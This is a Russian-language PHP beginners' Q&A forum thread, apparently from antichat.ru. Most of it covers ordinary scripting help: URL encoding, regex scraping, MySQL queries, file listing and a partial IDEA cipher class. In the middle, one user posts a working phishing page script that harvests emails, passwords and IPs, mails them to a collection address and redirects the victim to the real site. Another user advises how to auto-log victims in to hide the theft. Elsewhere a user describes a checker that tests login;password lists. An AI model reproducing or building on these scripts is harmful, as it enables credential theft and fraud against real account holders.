Просмотр полной версии : [php] Новичкам: задаем вопросы
ohhh с одной формой не понравилось >< сказали с двумя,сделал так
одна форма ввода песни,другая ввода ее номера,сначала надо ввести название,он покажет,результат название-исполнитель, список нумеруется цифрами. После вывода списка песен и исполнителей,надо ввести во второе поле цифру,которая стоит около списка,но почему то после ввода цифры,во вторую форму,все пропадает
как реализовать так называемую замену списка текстом песни?
phpdreamer
17.03.2010, 20:53
точно также как и название песни связано с именем файла
Травников
17.03.2010, 20:58
Привет всем
Возможно ли реализовать средствами PHP одновременное скачивание нескольких файлов?
wildshaman
17.03.2010, 21:03
Multi_curl
как преобразовать текст вида "биржа" в такое "%D0%B1%D0%B8%D1%80%D0%B6%D0%B0"?
Народ подскажие
есть массив по которому бежим while{}
на каждый элемент выполняется определенный запрос, как можно организовать чтоб после 30 запрсов(30 эл-тов) была пауза секунд 5 - 10 ?
Pashkela
17.03.2010, 22:26
if ($i == 29) sleep(5);
$q_count = 0;
while(...)
{
...
$q_count++;
if($q_count == 30)
{
$q_count = 0;
Sleep(rand(5,10));
}
}
mailbrush
17.03.2010, 22:29
Если тебе надо пройтись по массиву - используй цикл foreach, который специально для этого предназначен.
Если уж используешь while, то в цикле инкрементируй переменную $i, и если она кратна 30, то делаешь паузу...
while(условие)
{
$i++;
if($i % 30)
sleep(5);
...
...
...
}
как преобразовать текст вида "биржа" в такое "%D0%B1%D0%B8%D1%80%D0%B6%D0%B0"?
urlencode("биржа");
phpdreamer
17.03.2010, 22:53
как преобразовать текст вида "биржа" в такое "%D0%B1%D0%B8%D1%80%D0%B6%D0%B0"?
urlencode()
%E1%E8%F0%E6%E0 получается такое, по этому на нужную страницу не попаду
phpdreamer
17.03.2010, 23:02
может дело в кодировке
проверь какая кодировка у страницы и у тебя в скрипте
наверно на сайте UTF-8
Сначала слово "биржа" в utf-8, а потом уже urlencode
print urlencode(iconv('windows-1251','utf-8','биржа'));
mailbrush
17.03.2010, 23:03
%E1%E8%F0%E6%E0 получается такое, по этому на нужную страницу не попаду
urlencode + inconv
есть текстовик с содержанием такого рода логин;пароль,потом идет функция разделения по знаку логина с паролем,потом foreach,авторизация,потом идет регулярка,если страница после авторизации под нее подходит,то эта комбинация пишется в файл ,у меня почему то и плохие и хорошие пишутся. как сделать запись удачных?
продолжаю свой первый вопрос: первая часть (http://forum.antichat.ru/showpost.php?p=1947521&postcount=15003) и ответ на него: вторая часть (http://forum.antichat.ru/showpost.php?p=1949630&postcount=15024)
и вопрос у меня есть конфиг $site['bobo'] = 'l2emu';
как сделать, если при стравнении конфига и данных на выводе: value="l2emu" добавило бы слово: selected
Joker-jar
18.03.2010, 13:57
$site['bobo'] = 'l2emu';
$values = array('bla', 'bla2', 'bla3', 'l2emu', 'bla4');
echo '<select name="...">';
foreach ($values as $value)
{
echo '<option value="'.$value.'"';
if ($value == $site['bobo']) echo ' selected';
echo '>'.$value.'</option>';
echo '</select>';
}
Joker-jar, немного не то что я ожидал. нужно переделать немного вот это.. (http://forum.antichat.ru/showpost.php?p=1949630&postcount=15024)
Joker-jar
18.03.2010, 14:50
и вопрос у меня есть конфиг $site['bobo'] = 'l2emu';
как сделать, если при стравнении конфига и данных на выводе: value="l2emu" добавило бы слово: selected
имхо, в этом разобраться практически нереально. Я лишь временно включил режим телепата. Не сработало
phpdreamer
18.03.2010, 15:01
имхо, в этом разобраться практически нереально. Я лишь временно включил режим телепата. Не сработало
если я правильно понял,
if($site['bobo'] =='l2emu')echo 'l2emu' . ' selected';
=
Deathdreams
18.03.2010, 16:29
продолжаю свой первый вопрос: первая часть (http://forum.antichat.ru/showpost.php?p=1947521&postcount=15003) и ответ на него: вторая часть (http://forum.antichat.ru/showpost.php?p=1949630&postcount=15024)
и вопрос у меня есть конфиг $site['bobo'] = 'l2emu';
как сделать, если при стравнении конфига и данных на выводе: value="l2emu" добавило бы слово: selected
?>
<select style="width:130px" name="name">
<option value="NAME" <?=($site['bobo'] == 'l2emu') ? "select=selected" : ""?> >TRUE</option>
<option value="NAME2">FALSE</option>
</select>
<?php
$site['bobo'] = 'l2emu'; /// <<<------------
$path = "data"; //Директория с файлами
$dir=getcwd()."/".$path; //Получаем абсолютную директорию
$files=scandir($dir); //Получаем список файлов
$pref = ".sql.php"; //префикc файлов
echo "<select name=\"server_type\">\n";
foreach($files as $file) {
if(preg_match("#(.*)".$pref."#i",$file)) {
$content = file_get_contents($path."/".$file);
if(preg_match("|(Список запросов в БД: )(.*) #|i",$content,$out)) {
(str_replace($pref,'',$file) == $site['bobo']) ? $sel = "selected" : $sel = "";
echo "<option value='".str_replace($pref,'',$file)."' $sel>".$out[2]."</option>\n"; //соб
}
}
}
echo "</select>";
?>
где можно найти бесплатный хостинг с поддержкой PHP
где можно найти бесплатный хостинг с поддержкой PHP
В гугле...
http://www.freewebhostingarea.com/
VladZombie
18.03.2010, 22:01
Как поставить бан по ip адресу.Чтобы юзер не мог войти на сайт?
phpdreamer
18.03.2010, 22:02
записать его ай пи в бд(или файл)
и на сайте сравнивать ай пи каждого юзверя с каждым ай пи из бан листа
VladZombie
18.03.2010, 22:04
можешь привести пример? а то я php плохо знаю
Pashkela
18.03.2010, 22:07
http://risht.ru/archives/90
phpdreamer
18.03.2010, 22:16
$ip = $_SERVER['REMOTE_ADDR'];
$bans = file('ip_bans_6454878f7d8f7f8478f78444545.txt');
foreach($bans as $IP)
if($ip == $IP)
die('ТЫ ЗАБАНЕН, скотина!');
echo 'Привет, КреведкО! Это мой сайтеГ! (это контент сайта)';
в файле ip_bans_6454878f7d8f7f8478f78444545.txt у тебя список IP
каждый в новой строке
Всем спасибо! LStr1ke в точку!
Dark_cracker
19.03.2010, 15:36
какой функцией можно вырезать всё между <b> </b>
какой функцией можно вырезать всё между <b> </b>
нужно писать функцию , а в ней будешь использовать preg_replace() + регулярное выражение
function weather($text, $unique_start, $unique_end) {
preg_match_all('/'.preg_quote($unique_start,
'/').'(.*)'.preg_quote($unique_end, '/').'/Us', $text, $match);
return $match;
}
$b = weather($text,"<b>", "</b>");
пс. если правильно тебя понял
Народ хелп!!! как тут правильно делать прегмач ? http://www2.videogaga.lv/video
Подскажите пожалуйста скриптик, который бы определял рамеры картинкаи, и если они больше 240х320, то уменьшал бы её, а если меньше, то растягивал.
есть скрипт, показует файлы из папки можно ли сделать так чтобы он не показывал определенные файлы например filesmy.php и pichmy.php ? или вообще все php файлы..
<?php
function listing ($url,$mode) { //Проверяем, является ли директорией
if (is_dir($url)) {
//Проверяем, была ли открыта директория
if ($dir = opendir($url)) {
//Сканируем директорию
while ($file = readdir($dir)) {
//Убираем лишние элементы
if ($file != "." && $file != "..") {
//Если папка, то записываем значение в массив $folders
if(is_dir($url."/".$file)) {
$folders[] = $file;
}
//Если файл, то пишем в массив $files
else {$files[] = $file;}
}
}
}
//Закрываем директорию
closedir($dir);
}
//Если режим =1 то возвращаем массив с папками
if($mode == 1) {return $folders;}
//Если режим =0 то возвращаем массив с файлами
if($mode == 0) {return $files;}
}
//Функция создания папки
function makedir ($url){ //Вырезаем пробелы и хтмл-тэги
$url = trim(htmlspecialchars($url));
//Если папка создается возвращаем TRUE, иначе FALSE
if(@mkdir($url)){return TRUE;}
else{return FALSE;} }
//Функция переименования
function frename ($url,$oldname,$nname){
$nname = trim(htmlspecialchars($nname));
$oldname = trim(htmlspecialchars($oldname));
$url = trim(htmlspecialchars($url));
if(@rename($url."/".$oldname,$url."/".$nname)) {return TRUE; }
else {return FALSE; } }
//Функция удаления папки
function removedir ($directory) {
$dir = opendir($directory);
while(($file = readdir($dir)))
{
if ( is_file ($directory."/".$file))
{
unlink ($directory."/".$file);
}
else if ( is_dir ($directory."/".$file) &&
($file != ".") && ($file != ".."))
{
removedir ($directory."/".$file);
}
}
closedir ($dir);
rmdir ($directory);
return TRUE;
}
//Удалени файла
function removefile ($path) {
if(unlink($path)) { return TRUE; }
else { return FALSE; } }
//Возвращаем предыдущий рабочий каталог
function updir( $path ){
$last = strrchr( $path, "/" );
$n1 = strlen( $last );
$n2 = strlen( $path );
return substr( $path, 0, $n2-$n1 ); }
//Получаем размер файла
function fsize($path) {
return substr(filesize($path)/1024, 0, 4);
}
?>
wildshaman
19.03.2010, 18:29
Народ хелп!!! как тут правильно делать прегмач ? http://www2.videogaga.lv/video
Что конкретно выдирать?
есть скрипт, показует файлы из папки можно ли сделать так чтобы он не показывал определенные файлы например filesmy.php и pichmy.php ? или вообще все php файлы..
Ищи строку
if ($file != "." && $file != "..") {
и заменяй на if ($file != "." && $file != ".." && $file!="filesmy.php" && $file!="pichmy.php") {
Dark_cracker
19.03.2010, 18:47
пс. если правильно тебя понял ну почти, тока твой поидее ищет вхождения а мне надо было просто из html страницы удалить между тегами =), вот так я сделал :)
preg_replace("#<b>(.*?)</b>#is", " ", $a);
Народ хелп!!! как тут правильно делать прегмач ? Любое что хочеш то выдераите главное пример покажыте http://www2.videogaga.lv/video
Dark_cracker
19.03.2010, 19:44
тебе уже написали Что конкретно выдирать?
пиши что надо и вообще для регулярок другой раздел =)
что хочеш мне пример прост нужэн :)
Вырываем между
$url="http://www2.videogaga.lv/video";
$v = file_get_contents($url);
$pat="#<script\s+type=\"text/javascript\">(.*)<\/script>#is";
preg_match($pat,$v,$poc);
print_r($poc);
регулярные выражения сюда постят Сюда (http://forum.antichat.ru/thread92492.html)
Еще эту книгу почитай
Фридл - Регулярные выражения.3ed.2008
Вырываем между
$url="http://www2.videogaga.lv/video";
$v = file_get_contents($url);
$pat="#<script\s+type=\"text/javascript\">(.*)<\/script>#is";
preg_match($pat,$v,$poc);
print_r($poc);
регулярные выражения сюда постят Сюда (http://forum.antichat.ru/thread92492.html)
Вот для теста выташи идиху видяхи. Простым прегмачэм ты невыташиш... здесь над както по другому ток х3 как =[[ По этому и пишу суда
не получиться там там динамически выводиться тело если нет яваскрипта не будет загружать
где достать этот ява скрипт ?
Vlad&slav
20.03.2010, 13:04
Как вывести дату в формате RFC 822 ?
Народ чего надо чтоб прегмачэм выдернуть ид видях http://videogaga.lv/
Народ чего надо чтоб прегмачэм выдернуть ид видях http://videogaga.lv/
Ты дурачок? Тебе уже объяснили, что там весь сайт на JS (JavaScript). Это значит, что используя PHP ты можешь полчить лишь код JS, а не результат его выполнения. Следовательно тебе нужно иследовать этот код и выяснять каким образом он берет инфу и выводит ее.
Доброго времени суток. У кого есть класс реализующий алгоритм шифрования idea?Замечу что нужен алгоритм а не реализация на Mmcrypt
Есть реализации на cpp, но и то, только xtea and xxtea:
http://algolist.manual.ru/defence/well_known/index.php
Посмотри.переписать будет не так уж сложно.
У меня есть на cpp И я переписал его,но столкнулся с проблемой в двух строках и чето туплю,вот и решил взять готовый
Fliplab
Ну выкладывай, где ты тупишь
Как можно подключится к любому E-mail (через SMPT) и проверить почту ?
Как можно подключится к любому E-mail (через SMPT)
Убило. SMTP - Протокол отправки почты. Ты наверное имел ввиду POP3 или IMAP
Почитай тут:
1) http://webi.ru/webi_articles/6_12_f.html
2) http://www.php.net/manual/en/ref.imap.php
Fatal error: Call to undefined function mysql_connect()
Выскакивает ошибка при запуске скрипта через консоль, как ёё исправить?
wildshaman
21.03.2010, 13:49
Установить мускул?(
Выскакивает ошибка при запуске скрипта через консоль, как ёё исправить?
через browser все норм?
Установить мускул?(
да, все есть, мб пыха не видит?
через browser все норм?
не пробывал, думаю такая же ошибка будет
wildshaman
21.03.2010, 13:57
В \php5\ext файл php_mysql.dll лежит?
В php.ini строка с ним раскомментирована?
$in='{запостить|кинуть сообщение|отписать} о моей {проблеме|не большой задаче|трудности|проблеме}' ;
Нужно получить все вариации, помогите плиз
$in='{запостить|кинуть сообщение|отписать} о моей {проблеме|не большой задаче|трудности|проблеме}' ;
Нужно получить все вариации, помогите плиз
Там, откуда этот пример,есть решение.Я про хабр.
Сейчас сам подумаю.
$in = '{запостить|кинуть сообщение|отписать} о моей {проблеме|не большой задаче|трудности|проблеме}' ;
function pattern2word($pattern)
{
if (preg_match_all('#{(.*)}#U', $pattern, $match)) {
$count = count($match[1]);
for ($i = 0; $i < $count; $i++) {
$word = explode('|', $match[1][$i]);
foreach ($word as $value) {
$tmp = str_replace($match[0][$i], $value, $pattern);
$ret .= pattern2word($tmp) . '<br>';
}
}
return($ret);
} else {
return ($pattern);
}
}
echo pattern2word($in);
Осталось довести до ума =) А то я с утра не кочегарю чот)
Спасибо, m0Hze, но у меня что -то вроде того и выходило, может всё таки кто-то подскажет правильный вариант.
Дополнение, макросов может быть много , но без вложенности, ну от варианта с вложенностью тоже не откажусь
Что конкретно выдирать?
Ищи строку
if ($file != "." && $file != "..") {
и заменяй на if ($file != "." && $file != ".." && $file!="filesmy.php" && $file!="pichmy.php") {
спасибо
programming
21.03.2010, 19:12
Есть функция(выдирает из html все ссылки):
function pc_link_extractor($s) {
$a = array();
if (preg_match_all('/<a\s+.*?href=[\"\']?([^\"\' >]*)[\"\']?[^>]*>(.*?)<\/a>/i',
$s,$matches,PREG_SET_ORDER)) {
foreach($matches as $match) {
array_push($a,array($match[1],$match[2]));
}
}
return $a;
}
Как из полученного массива получить исключительно внутренние ссылки? И для урлов вида "/jjj/kjuh.html" подставить адрес сайта вначале. Он располагается в перменной $url.
Спасибо.
restart_05
21.03.2010, 20:32
Имеется база данных к примеру следующей структуры:
id | name | st
1 | a | 0
2 | b | 0
3 | c | 0
4 | a | 0
5 | c | 0
6 | a | 0
Как вывести из строки name, 3 самых повторяющих букв ??
SELECT name FROM thistable ORDER BY COUNT(id) GROUP BY name LIMIT 0,3
как-то так
restart_05, если не ошибаюсь, то никак, тебе нужно все значения вывести из базы, а потом уже подсчитывать сколько, что встречается у тебя средствами php допустим.
restart_05
21.03.2010, 21:00
Я об этом и спрашиваю, может кто-то сталкивался с данной проблемой и решил ее
scorpic393
22.03.2010, 00:02
есть textararea, туда пихаеться список урлов. надо создать массив, где каждый элемент - один урл из списка, помогите плиз как это реализовать
$url = explode("\n", $url);
есть textararea, туда пихаеться список урлов. надо создать массив, где каждый элемент - один урл из списка, помогите плиз как это реализовать
foreach ($url as $key => $value)
$result = explode ("\n", trim($value));
PabloPicasso
22.03.2010, 11:41
нужна помощь, я в регулярках не силен, а нужно написать preg_math который возвращал содержимое между (class="news_1">) и (</table>)
написал так
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://www.rap.ru/");
$result = curl_exec($ch);
curl_close($ch);
preg_match("|class=\"news_1\">(.+)</table>|iU",$result,$main);
echo $main[0];
?>
но вместо нескольких строк вылазит вся страница, даже если я комментирую //echo $main[0]; :D
плиз хелп!!1
preg_match('/class="news_1">(.*)<\/table>/iU',$result,$main);
echo $main[1];
PabloPicasso
22.03.2010, 11:54
preg_match('/class="news_1">(.*)<\/table>/iU',$result,$main);
echo $main[1];
выдало всю страницу, того что нужно нет
http://aka74.ru/engine/news.php
Deathdreams
22.03.2010, 12:41
нужна помощь, я в регулярках не силен, а нужно написать preg_math который возвращал содержимое между (class="news_1">) и (</table>)
написал так
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://www.rap.ru/");
$result = curl_exec($ch);
curl_close($ch);
preg_match("|class=\"news_1\">(.+)</table>|iU",$result,$main);
echo $main[0];
?>
но вместо нескольких строк вылазит вся страница, даже если я комментирую //echo $main[0]; :D
плиз хелп!!1
$content = file_get_contents( "http://www.rap.ru" );
preg_match( '#<table width="100%" cellpadding="0" cellspacing="0" class="news_1">(.+)</tr>[\r\n]</table>#Uis' , $content, $array );
$content = $array[1];
$content = preg_replace( '#src="(.+)" alt#', 'src="http://www.rap.ru\\1" alt', $content);
echo $content;
Работает.
Картинки тоже отображаются
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
preg_match ("|<table.+?class=\"news_1\">(.+)</table>|iUs", $result, $main);
echo $main[1];
PabloPicasso
22.03.2010, 12:54
Deathdreams, krypt3r спасиб, оба варианта гуд работают
Из-за чего это может быть?
Делаю запрос к базе:
$nsql='SELECT id, true, bt, bf FROM Q WHERE id='.$mline[2];
$nresult=mysql_query($nsql);
$nline=mysql_fetch_row($nresult);
а в $nline[1] лежит число 1, хотя в базе там лежит 3. И при изменении значения в базе число 1 так и остаётся.
Deathdreams
22.03.2010, 17:11
Из-за чего это может быть?
Делаю запрос к базе:
$nsql='SELECT id, true, bt, bf FROM Q WHERE id='.$mline[2];
$nresult=mysql_query($nsql);
$nline=mysql_fetch_row($nresult);
а в $nline[1] лежит число 1, хотя в базе там лежит 3. И при изменении значения в базе число 1 так и остаётся.
PHP]
$sql = mysql_query('SELECT id, true, bt, bf FROM Q WHERE id='.$mline[2]);
while($ans_row = @mysql_fetch_array($sql)){
// тут действия с данными
}
[/PHP]
Можно ли написать скрипт на php или perl, который автоматом будет заходить на сайт eset для скачки обновлений для антивируса и будет их копировать на другой ftp (где мне бесплатно)
Скриптик бы повесил на кротаб и было все круто)
заранее спасибо.
mailbrush
22.03.2010, 18:07
Конечно можно.
Paul_Eckman
22.03.2010, 19:09
Есть скрипт для фейка:
<?php
$mail="somemail@mail.ru"; //e-mail куда будут отправлятся отчеты
if ((isset($_POST["user_email"])) and (isset($_POST["user_password"]))) { //проверка существуют ли переменные
$s="paypal.com: ".$_POST["user_email"]; //создание темы письма
$m="Find passwordsomesite.com.
Lodin: ".$_POST["user_email"]."
Password: ".$_POST["user_password"]."
IP: ".$_SERVER["REMOTE_ADDR"]."
===============
Login and password was send from ".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']."
mail($mail,$s,$m) or exit("<script language=JavaScript>window.location='?'</script>"); // отсылка письма
exit("<script language=JavaScript>window.location='https://www.somesite.com/'</script>");}; //переадрессация на настоящую страницу
?>
Что и где нужно дописать, чтобы при вводе логина и пароля, кроме отправки данных на е-мейл, происходила переадресация и автоматическая авторизация на основном сайте (на который сделан фейк)?
Что и где нужно дописать, чтобы при вводе логина и пароля, кроме отправки данных на е-мейл, происходила переадресация и автоматическая авторизация на основном сайте (на который сделан фейк)?
Дописывать нужно, когда идёт переадресация на реальный сайт, то есто тут:
exit("<script language=JavaScript>window.location='https://www.somesite.com/'</script>");}; //переадрессация на настоящую страницу
Чтобы произошла автоматическая авторизация, посмотри, возможно ли на исходном сайте авторизоваться гет запросом, то есть по ссылке...
Например для сайта вконтакте ссылка такая :
'http://vkontakte.ru/login.php?email='.$_POST["user_email"].'&pass='.$_POST["user_password"] даёт авторизацию на сайте... Вот на неё и надо делать переадресацию.._)
Paul_Eckman
22.03.2010, 20:14
Нет, к сожалению, авторизация идет через POST, через GET авторизоваться не получается ((
Т.е., без возможности ГЕТ запроса фейк с внутр. авторизацией никак не получится?
Т.е., без возможности ГЕТ запроса фейк с внутр. авторизацией никак не получится?
Не стану такоге утверждать, но как реализовать не знаю...
Попробуй скриптом послать пост запрос на сайт с данными авторизации и вывесли браузеру результат.. Возможно какой-нибудь чудо редирект сделает своё дело..
А так не знаю.. Может, кто-то предложит что дельное.)
на фтп есть папка, в папке очень много файлов, файлы вида random.akk.
как открыть все файлы из этой папки, вытащить из них данные и сохранить в один файл ?
из %username%.akk надо выдернуть 3 строку(-23)
14
64
-23
7
163995
0
1
и сохранить в файл.txt
%username% -23
%username2% 550
$sql = mysql_query('SELECT id, true, bt, bf FROM Q WHERE id='.$mline[2]);
while($ans_row = @mysql_fetch_array($sql)){
// тут действия с данными
}
Один Х..., то же самое...
И что делать? Мне этот проект дописать вчера нуно было, а тут такая фигня...
Понял, в чём причина: в базе есть поле, называется true, а в пыхе true это константа, всегда равная 1.
И видимо это и влияет на выдачу результата из базы.
Deathdreams
22.03.2010, 22:39
Один Х..., то же самое...
И что делать? Мне этот проект дописать вчера нуно было, а тут такая фигня...
вообщето в твоём православном коде ты вытаскиваешь количество стоблцов, а не информацию в них.
а я показал пример, как вытащить информацию.
теперь обрабатывай переменную $ans_row
сделай тот де самый print_r($ans_row) для дебага, посмотри что там будет.
пример для дебага:
define("HOST", "localhost"); //хост mysql
define("USER", "user_mysql"); //юзер
define("PASS", "pass_mysql"); // пароль
define("TABLE", "qwertt"); // таблица
function db_query($query){
$db = mysql_connect(HOST, USER, PASS) or die('MySQL False');
mysql_select_db(TABLE, $db) or die('MySQL False');
mysql_query("SET NAMES 'cp1251'") or die('MySQL False');
$msq_sec = @mysql_query($query, $db);
if(!$msq_sec){
die('Неправильный MySQL запрос.');
}
$i=0;
while($ans_row = @mysql_fetch_array($msq_sec)){
$c_keys = array_keys($ans_row);
foreach($c_keys as $num => $value){
//if(!is_numeric($value)){
$array[$i][$value] = $ans_row[$value];
//}
}
$i++;
}
@mysql_close($db);
return $array;
}
$sql = db_query('SELECT id, true, bt, bf FROM Q WHERE id='.$mline[2]);
print_r($sql);
Написал функцию на скорую руку для запросов с MySQL
Deathdreams
22.03.2010, 22:46
на фтп есть папка, в папке очень много файлов, файлы вида random.akk.
как открыть все файлы из этой папки, вытащить из них данные и сохранить в один файл ?
из %username%.akk надо выдернуть 3 строку(-23)
14
64
-23
7
163995
0
1
и сохранить в файл.txt
%username% -23
%username2% 550
<?php
$fput = "полный путь до файла куда нужно всё это записывать";
$dir = "."; //папка для считывания без слеша на конце
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if ($file != "." && $file != "..") {
$content = file($dir."/".$file);
if( @file_put_contents( $fput, basename($file)." ".$content[2]."\r\n", FILE_APPEND ) ) echo "$file - good\n"; else echo "$file - bad";
}
}
closedir($handle);
}
Как-то так, если я всё правильно понял
Deathdreams, спасибо, то что нужно :)
хм.. почему если добавляю $content[4] пишет уже на новую строку ?
if( @file_put_contents( $fput, basename($file)." ".$content[2]." ".$content[4]."\r\n", FILE_APPEND ) )
хм.. почему если добавляю $content[4] пишет уже на новую строку ?
if( @file_put_contents( $fput, basename($file)." ".$content[2]." ".$content[4]."\r\n", FILE_APPEND ) )
А $content[4] чему равна? Может в ней перенос строки? Хотя, если file(), то не должно быть такого...
да, проверил, в $content[4] данные с новой строки...
Deathdreams
23.03.2010, 01:10
да, проверил, в $content[4] данные с новой строки...
юзай trim() для очистки этого мусора, но увеличивается вероятность потери нужных данных (пароль с пробелом на конце, например)
DevidStein
23.03.2010, 11:12
Помогите реализовать bb-code [_url=http://www.mysite.com/]link[_/url]
Какие регулярки и в какой последрвательности их использовать?
Подскажите пожалуйста,как из массива чисел к примеру:
14
5
15
23
12
15
16
18
91
34
10
98
78
76
56
вытащить только первые десять самых больших и выстроить их по порядку
scorpic393
23.03.2010, 11:55
подскажите пожайлусто.
имеется страница со списком различных urlов полученная методом GET и занесеная в переменную
мне надо из этой переменной создать список сайтов который есть в той сранице в виде таком:
http://site111.ru
http://site11.ru
http://site1.ru
http://site2.ru
http://site3.ru
полсажите плиз как это реализзовать?
qW1zer,
<?php
$a=Array(
14,
5,
15,
23,
12,
15,
16,
18,
91,
34,
10,
98,
78,
76,
56
);
sort($a);
print_r(array_slice($a,-10));
?>
scorpic393, покажи пример страницы.
Помогите реализовать bb-code [_url=http://www.mysite.com/]link[_/url]
Какие регулярки и в какой последрвательности их использовать?
$url = "link (http://www.mysite.com/)";
$url = preg_replace('/\[url\=(.*?)\](.*?)\[\/url\]/is', '<a href="$1">$2</a>', $url);
echo $url;
scorpic393, я же попросил показать пример страницы со списком.
Как можно написать регулярку, не зная, под что писать?
Или вообще не регулярку...
scorpic393
23.03.2010, 12:26
scorpic393, я же попросил показать пример страницы со списком.
Как можно написать регулярку, не зная, под что писать?
Или вообще не регулярку...
сорри не увидел.
вот пример скрипта.
<?php
$fsock=fsockopen("forum.antichat.ru",80);
for($i=1;$i<=3;$i++)
{
$url="http://forum.antichat.ru/threadnav38443-".$i."-10.html";
$headers="GET $url HTTP/1.0\r\n\r\n";
#echo "<pre>$headers</pre>";
fwrite($fsock,$headers);
while(!feof($fsock))
$response.=fread($fsock,1024);
$fp=fopen("urllist.txt","w+");
fwrite($fp,$response);
?>
тема с инклудами
Всем доброго времени суток. У меня есть один вопрос, который меня очень заинтересовал:
1) Установите для папки templates и всем вложенным в нее папкам права на запись (CHMOD 777) - что эти права означают?
2) Как их поставить через Total Commander?? - или какая софтина нужна для этого?
Сервер Unix-система. + смотрел в гугле, для windows никак чтоли не поставишь права на файлы: типа 666, 777??
Извеняюсь за нуберство но вопрос актуальный!!
Всем доброго времени суток. У меня есть один вопрос, который меня очень заинтересовал:
1) Установите для папки templates и всем вложенным в нее папкам права на запись (CHMOD 777) - что эти права означают?
2) Как их поставить через Total Commander?? - или какая софтина нужна для этого?
Сервер Unix-система. + смотрел в гугле, для windows никак чтоли не поставишь права на файлы: типа 666, 777??
Извеняюсь за нуберство но вопрос актуальный!!
777 - все привилегии(выполнение,изме нение,удаление).
Через тотал можно, Файл -> Изменить атрибуты
В окошках просто убери галку Только для чтения, и если у тебя окошки7, то на вкладке безопасность разреши своему пользователю нужные привилегии,то есть, удаление, изменение, создание...етц.
777 - все привилегии(выполнение,изме нение,удаление).
Через тотал можно, Файл -> Изменить атрибуты
В окошках просто убери галку Только для чтения, и если у тебя окошки7, то на вкладке безопасность разреши своему пользователю нужные привилегии,то есть, удаление, изменение, создание...етц.
спасибо, разобрался))
programming
23.03.2010, 16:02
Не могу найти функцию, которая заменяла бы все &(и т.д.) на обычные символы.
Подскажите, пожалуйста..
olishort
23.03.2010, 16:12
Не могу найти функцию, которая заменяла бы все &(и т.д.) на обычные символы.
Подскажите, пожалуйста..
htmlspecialchars_decode
programming
23.03.2010, 17:05
Появилась проблема(или не проблема).
Есть один скрипт, запускаю на локалке. Работает он долго, пишет данные в БД. Работает всё исправно, но после минут 10 работы в браузере выдаётся сообщение о скачке PHP файла скрипта! Как такое можно предотвратить?
Вначале скрипта стоит естественно set_time_limit(0);
olishort
23.03.2010, 17:13
покажи код
Появилась проблема(или не проблема).
Есть один скрипт, запускаю на локалке. Работает он долго, пишет данные в БД. Работает всё исправно, но после минут 10 работы в браузере выдаётся сообщение о скачке PHP файла скрипта! Как такое можно предотвратить?
Вначале скрипта стоит естественно set_time_limit(0);
А когда скачиваешь - там код php скрипта или уже обработанный html код?
P.S. Если добавить в начале скрипта ignore_user_abort(true); то не придётся сидеть с постоянно включенным браузером - он будет работать и после того, как ты его закроешь.
programming
23.03.2010, 17:41
А когда скачиваешь - там код php скрипта или уже обработанный html код?
P.S. Если добавить в начале скрипта ignore_user_abort(true); то не придётся сидеть с постоянно включенным браузером - он будет работать и после того, как ты его закроешь.
В скачанном файле вот, что лежит:
0
Просто цифра 0.
Доброго времени суток. У кого есть класс реализующий алгоритм шифрования idea?Замечу что нужен алгоритм а не реализация на Mmcrypt
class idea
{
var $EK = array();
var $DK = array();
function MulInv($x)
{
if($x < 2) return $x;
$t1 = 0x10001 / $x;
$y = 0x10001 % $x;
if( $y == 1 ) return (1-$t1) & 0xffff;
$t0 = 1;
do
{
$q = $x / $y;
$x = $x % $y;
$t0 += $q * $t1;
if($x == 1) return $t0;
$q = $y / $x;
$y = $y % $x;
$t1 += $q * $t0;
} while($y != 1);
return (1-$t1) & 0xffff;
}
function mul($x, $y)
{
do
{
if(($_t16 = ($y)))
{
if(($x = ($x) & 0xffff))
{
$_t32 = $x * $_t16;
$x = $_t32 & 0xffff;
$_t16 = $_t32 >> 16;
$x = (($x)-$_t16) + ($x<$_t16?1:0);
}
else
{
$x = 1 - $_t16;
}
}
else
{
$x = 1 - $x;
}
} while(0);
return $x;
}
function init_key($key, $size)
{
for($i=0; $i < $size; $i++)
{
$this->EK[$i] = $key[$i];
}
for($i=0; $i < 8; $i++)
{
$this->EK[$i] = ($this->EK[$i] << 8) | ($this->EK[$i] >> 8);
}
for($i=1; $i < 6; $i++)
{
$this->EK[($i*8)+0] = ($this->EK[(($i-1)*8)+1] << 9) | ($this->EK[(($i-1)*8)+2] >> 7);
$this->EK[($i*8)+1] = ($this->EK[(($i-1)*8)+2] << 9) | ($this->EK[(($i-1)*8)+3] >> 7);
$this->EK[($i*8)+2] = ($this->EK[(($i-1)*8)+3] << 9) | ($this->EK[(($i-1)*8)+4] >> 7);
$this->EK[($i*8)+3] = ($this->EK[(($i-1)*8)+4] << 9) | ($this->EK[(($i-1)*8)+5] >> 7);
$this->EK[($i*8)+4] = ($this->EK[(($i-1)*8)+5] << 9) | ($this->EK[(($i-1)*8)+6] >> 7);
$this->EK[($i*8)+5] = ($this->EK[(($i-1)*8)+6] << 9) | ($this->EK[(($i-1)*8)+7] >> 7);
$this->EK[($i*8)+6] = ($this->EK[(($i-1)*8)+7] << 9) | ($this->EK[(($i-1)*8)+0] >> 7);
$this->EK[($i*8)+7] = ($this->EK[(($i-1)*8)+0] << 9) | ($this->EK[(($i-1)*8)+1] >> 7);
}
$this->EK[48] = ($this->EK[41] << 9) | ($this->EK[42] >> 7);
$this->EK[49] = ($this->EK[42] << 9) | ($this->EK[43] >> 7);
$this->EK[50] = ($this->EK[43] << 9) | ($this->EK[44] >> 7);
$this->EK[51] = ($this->EK[44] << 9) | ($this->EK[45] >> 7);
$this->DK[51] = $this->MulInv($this->EK[3]);
$this->DK[50] = -$this->EK[2];
$this->DK[49] = -$this->EK[1];
$this->DK[48] = $this->MulInv($this->EK[0]);
for($i=0; $i < 7; $i++)
{
$this->DK[47-$i*6] = $this->EK[$i*6+5];
$this->DK[46-$i*6] = $this->EK[$i*6+4];
$this->DK[45-$i*6] = $this->MulInv($this->EK[$i*6+9]);
$this->DK[43-$i*6] = -$this->EK[$i*6+8];
$this->DK[44-$i*6] = -$this->EK[$i*6+7];
$this->DK[42-$i*6] = $this->MulInv($this->EK[$i*6+6]);
}
$this->DK[5] = $this->EK[47];
$this->DK[4] = $this->EK[46];
$this->DK[3] = $this->MulInv($this->EK[51]);
$this->DK[2] = -$this->EK[50];
$this->DK[1] = -$this->EK[49];
